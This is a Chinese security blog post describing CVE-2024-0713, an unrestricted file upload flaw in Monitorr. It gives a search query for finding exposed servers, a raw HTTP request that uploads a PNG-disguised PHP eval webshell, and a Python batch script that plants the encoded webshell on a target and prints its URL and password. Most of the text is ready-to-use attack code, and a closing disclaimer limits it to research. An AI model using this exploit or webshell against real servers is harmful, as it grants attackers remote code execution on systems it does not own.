漏洞简介
Monitorr 1.7.6m存在漏洞,该漏洞被定义为关键级别。该漏洞影响了组件Services Configuration的文件/assets/php/upload.php的未知功能。通过操纵fileToUpload参数可导致无限制文件上传。攻击可以远程启动。该漏洞的利用已被公开披露并可能被利用。
漏洞复现
步骤一:使用以下搜索语法进行资产搜索并确定测试目标...
# 搜索语法
body="assets/php/timestamp.php"
步骤二:抓取首页数据包并修改数据包如下为文件上传请求并在Yakit中进行发送!其中filename字段值为上传的webshell文件名,请求正文中的123为Webshell链接密码...如下则成功!
POST /assets/php/upload.php HTTP/1.1 Host: IP User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 11_4) Accept-Encoding: gzip, deflate Accept: */* Connection: keep-alive Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryMmx988TUuintqO4Q ------WebKitFormBoundaryMmx988TUuintqO4Q Content-Disposition: form-data; name="fileToUpload"; filename="24k.php" Content-Type: image/png {{unquote("\x89PNG\x0d\x0a\x1a\x0a\x00\x00\x00\x0dIHDR\x00\x00\x01\x00\x00\x00\x01\x00\x08\x06\x00\x00\x00\\r\xa8f\x00\x00\x03\x1eIDATx\x9c\xed\xd4\x01\x09\x00A\x10\xc4\xb0Yx\xff\x96\xef\x854\x81Z\xe8m\xef\xdd6I\xbd\xbe\xdd\x80\x28\x03\x800\x03\x800\x03\x800\x03\x800\x03\x800\x03\x800\x03\x800\x03\x800\x03\x800\x03\x800\x03\x800\x03\x800\x03\x800\x03\x800\x03\x800\x03\x800\x03\x800\x03\x800\x03\x800\x03\x800\x03\x800\x03\x800\x03\x800\x03\x800\x03\x800\x03\x800\x03\x800\x03\x800\x03\x800\x03\x800\x03\x800\x03\x800\x03\x800\x03\x800\x03\x800\x03\x800\x03\x800\x03\x800\x03\x800\x03\x800\x03\x800\x03\x800\x03\x800\x03\x800\x03\x800\x03\x800\x03\x800\x03\x800\x03\x800\x03\x800\x03\x800\x03\x800\x03\x800\x03\x800\x03\x800\x03\x800\x03\x800\x03\x800\x03\x800\x03\x800\x03\x800\x03\x800\x03\x800\x03\x800\x03\x800\x03\x800\x03\x800\x03\x800\x03\x800\x03\x800\x03\x800\x03\x800\x03\x800\x03\x800\x03\x800\x03\x800\x03\x800\x03\x800\x03\x800\x03\x800\x03\x800\x03\x800\x03\x800\x03\x800\x03\x800\x03\x800\x03\x800\x03\x800\x03\x800\x03\x800\x03\x800\x03\x800\x03\x800\x03\x800\x03\x800\x03\x800\x03\x800\x03\x800\x03\x800\x03\x800\x03\x800\x03\x800\x03\x800\x03\x800\x03\x800\x03\x800\x03\x800\x03\x800\x03\x800\x03\x800\x03\x800\x03\x800\x03\x800\x03\x800\x03\x800\x03\x800\x03\x800\x03\x800\x03\x800\x03\x800\x03\x800\x03\x800\x03\x800\x03\x800\x03\x800\x03\x800\x03\x800\x03\x800\x03\x800\x03\x800\x03\x800\x03\x800\x03\x800\x03\x800\x03\x800\x03\x800\x03\x800\x03\x800\x03\x800\x03\x800\x03\x800\x03\x800\x03\x800\x03\x800\x03\x800\x03\x800\x03\x800\x03\x800\x03\x800\x03\x800\x03\x800\x03\x800\x03\x800\x03\x800\x03\x800\x03\x800\x03\x800\x03\x800\x03\x800\x03\x800\x03\x800\x03\x800\x03\x800\x03\x800\x03\x800\x03\x800\x03\x800\x03\x800\x03\x800\x03\x800\x03\x800\x03\x800\x03\x800\x03\x800\x03\x800\x03\x800\x03\x800\x03\x800\x03\x800\x03\x800\x03\x800\x03\x800\x03\x800\x03\x800\x03\x800\x03\x800\x03\x800\x03\x800\x03\x800\x03\x800\x03\x800\x03\x800\x03\x800\x03\x800\x03\x800\x03\x800\x03\x800\x03\x800\x03\x800\x03\x800\x03\x800\x03\x800\x03\x800\x03\x800\x03\x800\x03\x800\x03\x800\x03\x800\x03\x800\x03\x800\x03\x800\x03\x800\x03\x800\x03\x800\x03\x800\x03\x800\x03\x800\x03\x800\x03\x800\x03\x800\x03\x800\x03\x800\x03\x800\x03\x800\x03\x800\x03\x800\x03\x800\x03\x800\x03\x800\x03\x800\x03\x800\x03\x800\x03\x800\x03\x800\x03\x800\x03\x800\x03\x800\x03\x800\x03\x800\x03\x800\x03\x800\x03\x800\x03\x800\x03\x800\x03\x800\x03\x800\x03\x800\x03\x800\x03\x800\x03\x800\x03\x800\x03\x800\x03\x800\x03\x80\xb0\x1f\xbd\xf4\x07\xfa\xeb>\xbe\xab\x00\x00\x00\x00IEND\xaeB`\x82\x0d\x0a<?php class Gn261550 \x7b public function __construct\x28$HW579\x29\x7b @eval\x28\"/*ZWabn8zLCk*/\".$HW579.\"/*ZWabn8zLCk*/\"\x29; \x7d\x7dnew Gn261550\x28$_REQUEST['123']\x29;?>")}} ------WebKitFormBoundaryMmx988TUuintqO4Q--
步骤三:拼接一下路径访问上传的Webshell..成功响应页面如下...
# Webshell地址
http://127.0.0.1/assets/data/usrimg/24k.php | 123
批量脚本
import requests import urllib3 import base64 import argparse import time from requests.exceptions import RequestException from requests_toolbelt.multipart.encoder import MultipartEncoder parse = argparse.ArgumentParser() parse.add_argument("-u", type=str, help="Target url.", default="") parse.add_argument("-p", type=str, help="Proxy server.", default="") args = parse.parse_args() urllib3.disable_warnings() def decode_png(): png_1 = b"iVBORw0KGgoAAAANSUhEUgAAAQAAAAEACAYAAABccqhmAAADHklEQVR4nO3UAQkAQRDEsFl4/5bvhTSBWuht7902Sb2+3YAoA4AwA4AwA4A" png_2 = b"wA4AwA4AwA4AwA4AwA4AwA4AwA4AwA4AwA4AwA4AwA4AwA4AwA4AwA4AwA4AwA4AwA4AwA4AwA4AwA4AwA4AwA4AwA4AwA4AwA4AwA4AwA4" png_3 = b"AwA4AwA4AwA4AwA4AwA4AwA4AwA4AwA4AwA4AwA4AwA4AwA4AwA4AwA4AwA4AwA4AwA4AwA4AwA4AwA4AwA4AwA4AwA4AwA4AwA4AwA4AwA" png_4 = b"4AwA4AwA4AwA4AwA4AwA4AwA4AwA4AwA4AwA4AwA4AwA4AwA4AwA4AwA4AwA4AwA4AwA4AwA4AwA4AwA4AwA4AwA4AwA4AwA4AwA4AwA4Aw" png_5 = b"A4AwA4AwA4AwA4AwA4AwA4AwA4AwA4AwA4AwA4AwA4AwA4AwA4AwA4AwA4AwA4AwA4AwA4AwA4AwA4AwA4AwA4AwA4AwA4AwA4AwA4AwA4A" png_6 = b"wA4AwA4AwA4AwA4AwA4AwA4AwA4AwA4AwA4AwA4AwA4AwA4AwA4AwA4AwA4AwA4AwA4AwA4AwA4AwA4AwA4AwA4AwA4AwA4AwA4AwA4AwA4" png_7 = b"AwA4AwA4AwA4AwA4AwA4AwA4AwA4AwA4AwA4AwA4AwA4AwA4AwA4AwA4AwA4AwA4AwA4AwA4AwA4AwA4AwA4AwA4AwA4AwA4AwA4AwA4AwA" png_8 = b"4AwA4AwA4AwA4AwA4AwA4AwA4AwA4AwA4AwA4AwA4AwA4AwA4AwA4AwA4AwA4AwA4AwA4AwA4AwA4AwA4AwA4AwA4AwA4AwA4AwA4AwA4Aw" png_9 = b"A4AwA4AwA4AwA4AwA4AwA4AwA4AwA4AwA4AwA4AwA4AwA4AwA4AwA4AwA4AwA4AwA4AwA4AwA4AwA4AwA4AwA4AwA4AwA4AwA4AwA4AwA4A" png_10 = b"wA4AwA4AwA4AwA4AwA4AwA4AwA4AwA4AwA4AwA4AwA4AwA4AwA4AwA4AwA4AwA4AwA4AwA4AwA4AwA4AwA4AwA4AwA4AwA4AwA4AwA4AwA" png_11 = b"4AwA4AwA4AwA4AwA4AwA4AwA4AwA4AwA4AwA4AwA4CwH730B/rrPr6rAAAAAElFTkSuQmCCDQo8P3BocCBjbGFzcyBHbjI2MTU1MCB7IHB" png_12 = b"1YmxpYyBmdW5jdGlvbiBfX2NvbnN0cnVjdCgkSFc1NzkpeyBAZXZhbCgiLypaV2Fibjh6TENrKi8iLiRIVzU3OS4iLypaV2Fibjh6TENrK" png_13 = b"i8iKTsgfX1uZXcgR24yNjE1NTAoJF9SRVFVRVNUWydtb25pdG9yciddKTs/Pg==" return base64.b64decode(png_1 + png_2 + png_3 + png_4 + png_5 + png_6 + png_7 + png_8 + png_9 + png_10 + png_11 + png_12 + png_13) def run(): filename = "{}.php".format(int(time.time())) data_part = '------WebKitFormBoundaryMmx988TUuintqO4Q\nContent-Disposition: form-data; name="fileToUpload"; filename="{}"\nContent-Type: image/png\n\n'.format(filename) data_total = data_part.encode() + decode_png() + b'\n------WebKitFormBoundaryMmx988TUuintqO4Q--' header = { 'User-Agent': 'Mozilla/5.0 (Macintosh; Intel Mac OS X 11_4)', 'Content-Type': 'multipart/form-data; boundary=----WebKitFormBoundaryMmx988TUuintqO4Q' } try: res = requests.post(url="{}/assets/php/upload.php".format(args.u), data=data_total, headers=header) if "has been uploaded to: ../data/usrimg/{}".format(filename) in res.text: print("[+] 漏洞存在!") print("[*] shell:{}/assets/data/usrimg/{}\n[*] password:monitorr".format(args.u, filename)) else: print("[-] 漏洞不存在!") except RequestException as e: print("[-] 请求发生异常!", e) if __name__ == '__main__': if args.u != "": run() else: print("[-] 参数'-u'不能为空!")
原文始发于微信公众号(揽月安全团队):CVE-2024-0713:Monitorr任意文件上传漏洞
免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论